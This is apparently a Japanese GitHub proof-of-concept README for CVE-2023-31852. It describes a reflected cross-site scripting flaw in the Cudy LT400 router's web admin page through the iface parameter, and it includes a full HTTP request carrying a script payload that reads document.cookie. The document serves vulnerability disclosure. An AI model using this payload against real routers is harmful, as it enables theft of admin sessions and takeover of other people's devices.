calfcrusher/cve-2023-31852Cudy LT400 Webベース管理インターフェースにおける反射型XSSの概念実証。細工されたリクエストを /cgi-bin/luci/admin/network/wireless/config に送信することで、セッショントークンの盗難と管理者権限の奪取を可能にします。
Cudy LT400のWebベース管理インターフェースに、反射型クロスサイトスクリプティング（XSS）攻撃が存在します。
ページ /cgi-bin/luci/admin/network/wireless/config には、iface パラメータを介した反射型XSSがあります。
悪用方法は、被害者に悪意のあるコードを含む特別に細工されたリクエストを送信することを伴います。
影響を受けるアプリケーションは、Session CookieにHttpOnly属性を設定していません。これにより、セッショントークンの盗難を介した管理者権限の乗っ取りが発生する可能性があります。
GET /cgi-bin/luci/admin/network/wireless/config?nomodal=&iface=wlan00%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/admin/setup
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31852